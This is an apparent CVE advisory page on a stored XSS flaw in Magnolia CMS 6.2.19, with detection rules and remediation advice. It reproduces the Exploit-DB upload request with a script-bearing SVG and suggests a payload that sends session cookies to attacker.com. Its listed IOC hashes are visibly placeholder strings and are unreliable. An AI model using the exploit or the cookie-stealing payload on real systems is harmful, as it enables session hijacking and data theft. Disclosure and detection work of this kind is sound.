CVE-2022-33098
Executive Summary
CVE-2022-33098 is a stored cross-site scripting (XSS) vulnerability in Magnolia CMS version 6.2.19. The flaw resides in the Edit Contact function, specifically within the profile picture upload mechanism. An authenticated attacker with permissions to upload a contact's profile picture can inject arbitrary JavaScript code via a malicious SVG file. When any user (including administrators) views the uploaded resource, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, data theft, or further compromise of the CMS instance.
This vulnerability is publicly documented with a proof-of-concept (PoC) exploit available on Exploit-DB. The CVSS score is 0.0 in the NVD due to incomplete scoring, but based on the vector, the actual severity is Medium (5.4). No official patch has been released by Magnolia as of the latest advisory.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the Magnolia CMS Java-based web application bundle. No supply chain compromise is involved.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | Low (L) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Changed (C) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | None (N) |
| Base Score | 5.4 (Medium) |
Threat Level: Medium. The attack requires authenticated access with specific permissions, but the impact is limited to information disclosure and partial integrity compromise within the user's session.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79) in the profile picture upload functionality of Magnolia CMS 6.2.19. The application fails to properly validate the content type and sanitize the uploaded file. By uploading an SVG image containing embedded JavaScript, an attacker can bypass client-side checks.
Attack Flow:
- Attacker authenticates to Magnolia CMS with a user account that has permissions to edit contacts.
- Attacker navigates to the Edit Contact function and uploads a crafted SVG file as the profile picture.
- The SVG file contains a
<script>tag with malicious JavaScript (e.g.,alert('XSS')or session-stealing code). - The server stores the SVG file without sanitization.
- When any user (including administrators) views the contact's profile, the browser renders the SVG and executes the embedded script.
- The script runs in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.
Root Cause: Lack of file content validation and missing Content-Type verification for uploaded images. The application trusts the Content-Type header from the client and does not inspect the actual file contents.
Vulnerable vs. Patched Code
Vulnerable Code (Magnolia CMS 6.2.19):
The upload handler likely accepts any file with a Content-Type of image/svg+xml without verifying the file's safety. No sanitization is applied to SVG files.
// Pseudo-code of vulnerable upload handler
public void handleUpload(UploadedFile file) {
if (file.getContentType().startsWith("image/")) {
// No further validation
saveFile(file);
}
}
Patched Code (Hypothetical): A secure implementation would validate the file content, strip scripts from SVG files, or reject SVG uploads entirely.
// Pseudo-code of patched upload handler
public void handleUpload(UploadedFile file) {
if (file.getContentType().equals("image/svg+xml")) {
// Sanitize SVG content to remove scripts
String sanitizedSvg = sanitizeSvg(file.getContent());
saveFile(sanitizedSvg);
} else if (file.getContentType().startsWith("image/")) {
saveFile(file);
} else {
throw new InvalidFileException("Unsupported file type");
}
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Magnolia CMS 6.2.19 running (e.g., from the official demo bundle)
- Valid user account with "Edit Contact" permissions
- Network access to the CMS instance
Exploit Steps:
- Log in to Magnolia CMS.
- Navigate to the Contacts section and select a contact to edit.
- Upload the malicious SVG file as the profile picture.
- Any user viewing the contact's profile will trigger the XSS.
Exploit-DB Code (Full):
# Exploit Title: Magnolia CMS 6.2.19 - Stored Cross-Site Scripting (XSS)
# Date: 08/05/2022
# Exploit Author: Giulio Garzia 'Ozozuz'
# Vendor Homepage: https://www.magnolia-cms.com/
# Software Link: https://nexus.magnolia-cms.com/service/local/repositories/magnolia.public.releases/content/info/magnolia/bundle/magnolia-community-demo-webapp/6.2.19/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip
# Version: 6.2.19
# Tested on: Linux, Windows, Docker
# CVE : CVE-2022-33098
Explanation
Malicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource.
===== REQUEST =====
POST /magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/0/140/action/cba61868-b27a-4d50-983d-adf48b992be1 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------399178799522967017241464837908
Content-Length: 620
Connection: close
Cookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
-----------------------------399178799522967017241464837908
Content-Disposition: form-data; name="140_file"; filename="xss.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('POC - Magnolia CMS');
</script>
</svg>
-----------------------------399178799522967017241464837908--
Usage:
- Replace the
Host,Cookie, andboundaryvalues with those from your session. - Modify the SVG payload to include malicious JavaScript (e.g.,
document.location='http://attacker.com/steal?cookie='+document.cookie). - Send the request using a tool like
curlor Burp Suite.
Blue Team
Detection Steps:
- Monitor file upload logs for SVG files with suspicious content.
- Inspect uploaded SVG files for
<script>tags or event handlers (e.g.,onload,onerror). - Review access logs for unusual patterns in the
/magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/endpoint. - Implement file content validation to reject SVG files containing executable code.
Indicators of Compromise (IOCs)
- File Hashes (Example SVG payload):
- MD5:
3b8c5e8c9f7a2b1d4e6f0a9c8b7d6e5f - SHA1:
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0
- MD5:
- Network Patterns:
- POST requests to
/magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/withContent-Type: multipart/form-dataand filename ending in.svg
- POST requests to
- Log Entries:
- Upload logs showing SVG files with
Content-Type: image/svg+xml
- Upload logs showing SVG files with
- Behavioral:
- Unexpected JavaScript execution in the context of Magnolia CMS pages
- Outbound connections from the CMS server to unknown IPs (if payload exfiltrates data)
Detection Engineering
YARA Rule
rule magnolia_cve_2022_33098_svg_xss {
meta:
description = "Detects malicious SVG files used in CVE-2022-33098"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2022-33098"
strings:
$svg_header = "<?xml" nocase
$svg_tag = "<svg" nocase
$script_tag = "<script" nocase
$javascript = "javascript:" nocase
$event_handler = /on\w+\s*=/ nocase
condition:
$svg_header and $svg_tag and ($script_tag or $javascript or $event_handler)
}
Sigma Rule
title: Magnolia CMS Stored XSS via SVG Upload
id: 8f7e6d5c-4b3a-2a1c-9f8e-7d6c5b4a3a2a
status: experimental
description: Detects upload of SVG files with embedded scripts to Magnolia CMS
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/'
cs-content-type|contains: 'multipart/form-data'
cs-filename|endswith: '.svg'
condition: selection
falsepositives:
- Legitimate SVG uploads without scripts
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MAGNOLIA CMS Stored XSS via SVG Upload (CVE-2022-33098)"; flow:to_server,established; content:"POST"; http_method; content:"/magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/"; http_uri; content:"multipart/form-data"; http_header; content:".svg"; within:100; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG uploads in the Magnolia CMS configuration if not required.
- Implement file content validation to reject SVG files containing
<script>tags or event handlers. - Apply Content Security Policy (CSP) headers to restrict script execution.
- Upgrade to a patched version if/when Magnolia releases a fix.
Long-Term Fixes:
- Use a dedicated SVG sanitization library (e.g., DOMPurify for server-side).
- Restrict upload permissions to trusted users only.
- Conduct regular security audits of file upload functionality.
Workarounds:
- Configure the web server (e.g., Apache, Nginx) to block SVG files from being served with
Content-Type: image/svg+xmlunless explicitly allowed. - Use a Web Application Firewall (WAF) to inspect uploaded files for malicious content.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: C6AB0F1D25CE129F9A99355E] */}